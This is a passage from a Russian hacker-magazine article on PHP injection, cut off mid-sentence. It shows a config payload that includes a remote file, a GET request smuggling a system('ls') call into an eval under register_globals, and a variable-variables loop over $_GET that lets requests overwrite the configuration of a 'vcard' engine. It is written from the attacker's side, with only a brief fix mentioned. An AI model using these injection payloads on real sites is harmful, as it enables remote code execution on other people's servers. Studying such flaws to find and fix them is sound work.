PHPenetration Zadoxlik (antichat.ru) Хакер, номер #090, стр. 090-072-6 $exbb['boardurl'] = 'http://exbb'.@include('http://127.0.0.1/talakin.txt').'' Если переменные хранят значения за двойными кавычками, то нам даже необязательно выходить за них, что было необходимо «с '». Во-первых, мы можем вывести себе любую переменную, просто прописав ее имя, а во-вторых, можем выполнить любую функцию, в том числе всякие system и аналоги с помощью трюка, который описан ниже. Что еще может быть? А может быть еще очень и очень много полезных вещей, давай по пунктам. Можно: 1)Использовать массив данных, без предварительного объявления. Например: for($i=0;$i<10;$i++) { @$a[$i]=$s[$i]; //Копируем 10 первых //элементов массива $s //в a, без определения $a } for($i=0;$i<count($a);$i++) { eval('$y['.$a[$i].']='.$i); //какое-то извращение //криворукого программера } Подразумевается, что $s - «безопасный» массив, то есть никакой опасности для конструкции он не представляет. Однако посмотрим, что будет, если на сервере включен register_globals. Если послать такой GET-запрос: http://host/script.php?a[10]=1;system('ls');//, то мы получим листинг файлов директории,в которой находится script.php. Это происходит потому, что определение 11-ого (в массивах элементы считаются от нулевого элемента) никак не противоречит определениям скрипта. Никто не претендует на место 11-го элемента массива, поэтому мы получим доступ к якобы уже определенному массиву. Чтобы избавиться от данной ошибки, надо предварительно написать определение $a=array(). При передаче элемента массива через GET-, POST-запросы или куки ключ не ставится в кавычки. Таким образом, в запросе следует писать array[nameindex], а не array['nameindex']. Эту ошибку часто можно встретить при работе с модульными файлами. То есть, рассчитывая на определение массива в другом модуле или ядре, конкретный модуль является уязвимым, и иногда при особым образом сформированном запросе, непосредственно к модулю, можно вызвать нежелательное обращение к элементам массива. Это частный случай, а вообще, движки с модулями, доступными для прямого обращения и работающие при таком обращении в обычном режиме - очень лакомый кусочек. 2)Каким-либо образом подвергать опасности уже определенные переменные переопределения. Рассмотрим конкретную ошибку PHP-инъекции в vcard. Конфигурационные данные движка определены в специальном файле-конфиге, который инклудится в каждый самостоятельный PHP-файл (файл, к которому предполагается непосредственное обращение пользователя), в самом начале этого скрипта. Все конфигурационные данные представляют собой элементы ассоциативного массива $cfg. После чего идет код, который осуществляет замену всех параметров, переданных через GET, в одноименные переменные внутри скрипта. if (!empty($_GET)) { foreach ($_GET as $tmp_varname => $tmp_value) { $$tmp_varname = $tmp_value; } } Обрати внимание, что это происходит после того, как были определены конфигурационные данные! Это означает только одно: мы можем переопределить все конфигурационные данные, сформировав запрос примерно такого вида: |